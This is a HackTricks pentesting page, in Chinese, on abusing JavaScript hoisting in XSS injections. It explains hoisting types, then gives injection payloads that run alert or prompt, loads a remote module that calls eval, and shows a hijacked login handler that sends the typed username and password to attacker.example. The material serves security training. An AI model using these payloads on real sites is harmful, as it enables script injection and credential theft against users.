JS Hoisting

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

在 JavaScript 语言中,有一种称为 Hoisting 的机制,其概念是变量、函数、class 或 import 的声明在代码执行之前被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,引擎会对脚本进行多次遍历。

在第一次遍历中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。这个阶段包含 hoisting,将某些声明移动到执行上下文的顶部。如果解析阶段成功(即没有语法错误),脚本执行就会继续。

重要的是要理解:

  1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
  2. 由于 hoisting,代码在脚本中的位置会影响执行,尽管实际执行的代码可能与其文本表示不同。

Hoisting 的类型

根据 MDN 的信息,JavaScript 中有四种不同的 hoisting 类型:

  1. Value Hoisting:允许在变量声明行之前在其作用域内使用该变量的值。
  2. Declaration Hoisting:允许在其作用域内在声明之前引用变量而不会导致 ReferenceError,但变量的值将为 undefined
  3. 这种类型会在作用域内改变行为,因为变量在其实际声明行之前即已被声明。
  4. 声明的副作用在包含它的其他代码被评估之前就已经发生。

具体而言,function 声明表现出类型 1 的 hoisting 行为。var 关键字表现出类型 2 行为。词法声明(lexical declarations),包括 letconstclass,表现出类型 3 行为。最后,import 语句比较特殊,它既具有类型 1 又具有类型 4 的 hoisting 行为。

场景

因此,如果你遇到可以在未声明对象被使用之后注入 JS 代码的场景,你可以通过声明它来修复语法(这样你的代码会被执行,而不是抛出错误):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

更多场景

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting to bypass exception handling

当 sink 被包装在 try { x.y(...) } catch { ... } 中时,ReferenceError 会在你的 payload 运行之前停止执行。你可以预先声明缺失的标识符,使调用得以继续,并让你注入的表达式先运行:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} 在求值之前会被提升(hoisted),因此解析器不再在 x.y(...) 上抛出错误;prompt()y 被解析之前执行,然后在你的代码运行后会抛出一个 TypeError

使用 const 锁定名称以阻止后续声明

如果你能在顶层 function foo(){...} 被解析之前执行,声明一个同名的词法绑定(例如 const foo = ...)将阻止后续的 function 声明重新绑定该标识符。这可以在 RXSS 中被滥用以劫持页面后面定义的关键处理程序:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

注意

  • 这依赖于执行顺序和全局(顶层)作用域。
  • 如果你的 payload 在 eval() 内执行,记住 const/leteval 内是块级作用域,不会创建全局绑定。注入一个新的 <script> 元素并在其中放置代码,以建立真正的全局 const

动态 import() 与用户可控的模块指定符

服务端渲染的应用有时会将用户输入传入 import() 来按需加载组件。如果存在诸如 import-in-the-middle 的 loader,会从 specifier 生成包装模块。Hoisted import 求值会在后续行运行之前获取并执行攻击者控制的模块,从而在 SSR 场景实现 RCE(参见 CVE-2023-38704)。

工具

现代扫描器开始添加明确的 hoisting payload。KNOXSS v3.6.5 列出了 “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” 和 “Hoisting Override” 测试用例;在对会抛出 ReferenceError/TypeError 的 RXSS 环境运行时,它能快速暴露基于 hoist 的 gadget 候选。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks